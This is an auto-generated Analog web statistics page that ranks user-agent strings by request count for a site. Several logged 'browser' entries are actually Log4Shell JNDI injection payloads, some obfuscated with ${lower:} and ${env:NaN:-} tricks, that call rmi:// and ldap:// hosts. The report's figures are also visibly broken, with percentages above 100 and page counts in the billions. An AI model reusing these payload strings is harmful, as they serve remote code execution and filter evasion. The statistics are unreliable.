The Browser Summary identifies the most popular web browsers used to visit
this site.
Browsers are broken down by recognized categories such as
Netscape Navigator/Communicator, Microsoft Internet Explorer, WebTV, Opera
and the like. Within each category is also a subgroup by version number
such as 'MSIE 5.0' or 'Netscape 4.5'.
This report is sorted by number of requests.

| Browser Type | Number of requests | Number of page requests in the last 7 days | Percentage of page requests in the last 7 days | |
|---|---|---|---|---|
| 1. | mozilla | 163 | 4,287,057,493 | 128.48% |
| mozilla/5 | 162 | 3,235,390,192 | 96.96% | |
| 2. | io.utk.android-0.4.4 | 32 | 4,206,669,204 | 126.7% |
| io.utk.android-0.4.4/4765/true | 32 | 4,206,669,204 | 126.7% | |
| 3. | ${${lower:jndi}:${lower:rmi}: | 16 | 4,206,669,204 | 126.7% |
| ${${lower:jndi}:${lower:rmi}://188 | 8 | 1,051,667,301 | 31.51% | |
| ${${lower:jndi}:${lower:rmi}://144 | 2 | 1,051,667,301 | 31.51% | |
| ${${lower:jndi}:${lower:rmi}://167 | 2 | 1,051,667,301 | 31.51% | |
| ${${lower:jndi}:${lower:rmi}://185 | 4 | 1,051,667,301 | 31.51% | |
| 4. | trafilatura | 48 | 4,206,669,204 | 126.7% |
| trafilatura/1 | 48 | 4,206,669,204 | 126.7% | |
| 5. | ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}: | 13 | 4,206,669,204 | 126.7% |
| ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://188 | 6 | 1,051,667,301 | 31.51% | |
| ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://167 | 4 | 1,051,667,301 | 31.51% | |
| ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://185 | 1 | 1,051,667,301 | 31.51% | |
| ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://51 | 2 | 1,051,667,301 | 31.51% | |
| 6. | User-Agent: Mozilla | 11 | 4,206,669,204 | 126.7% |
| User-Agent: Mozilla/5 | 11 | 4,206,669,204 | 126.7% | |
| 7. | rogerbot | 11 | 4,206,669,204 | 126.7% |
| rogerbot/1 | 11 | 4,206,669,204 | 126.7% | |
| 8. | Perplexity | 30 | 4,206,669,204 | 126.7% |
| Perplexity/17022 | 6 | 1,051,667,301 | 31.51% | |
| Perplexity/16999 | 6 | 1,051,667,301 | 31.51% | |
| Perplexity/10221 | 6 | 1,051,667,301 | 31.51% | |
| Perplexity/17043 | 12 | 1,051,667,301 | 31.51% | |
| 9. | Galeon | 64 | 4,206,669,204 | 126.7% |
| Galeon/2 | 33 | 2,103,334,602 | 63.3% | |
| Galeon/1 | 31 | 2,103,334,602 | 63.3% | |
| 10. | serpstatbot | 3,849 | 4,206,669,204 | 126.7% |
| serpstatbot/2 | 3,792 | 2,103,334,602 | 63.3% | |
| serpstatbot/1 | 57 | 2,103,334,602 | 63.3% | |
| 11. | ${${lower:${lower:jndi}}:${lower:rmi}: | 18 | 4,206,669,204 | 126.7% |
| ${${lower:${lower:jndi}}:${lower:rmi}://188 | 6 | 1,051,667,301 | 31.51% | |
| ${${lower:${lower:jndi}}:${lower:rmi}://144 | 6 | 1,051,667,301 | 31.51% | |
| ${${lower:${lower:jndi}}:${lower:rmi}://167 | 4 | 1,051,667,301 | 31.51% | |
| ${${lower:${lower:jndi}}:${lower:rmi}://51 | 2 | 1,051,667,301 | 31.51% | |
| 12. | t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:} | 30 | 4,206,669,204 | 126.7% |
| t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45 | 24 | 3,155,001,903 | 94.54% | |
| t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//141 | 6 | 1,051,667,301 | 31.51% | |
| 13. | ${jndi:rmi: | 8 | 4,206,669,204 | 126.7% |
| ${jndi:rmi://188 | 2 | 1,051,667,301 | 31.51% | |
| ${jndi:rmi://167 | 2 | 1,051,667,301 | 31.51% | |
| ${jndi:rmi://185 | 2 | 1,051,667,301 | 31.51% | |
| ${jndi:rmi://51 | 2 | 1,051,667,301 | 31.51% | |
| 14. | l9explore | 2 | 4,206,669,204 | 126.7% |
| l9explore/1 | 2 | 3,155,001,903 | 94.54% | |
| 15. | http.rb | 124 | 4,206,669,204 | 126.7% |
| http.rb/5 | 124 | 3,155,001,903 | 94.54% | |
| [not listed: 910] | 12,070,227 | 286,056,870 | 8.58% | |
This report was generated on February 11, 2026 01:36.
Report time frame November 3, 2017 08:18 to February 9, 2026 08:09.
| Web statistics report produced by: | |
Analog 5.24 | Report Magic for Analog 2.13 |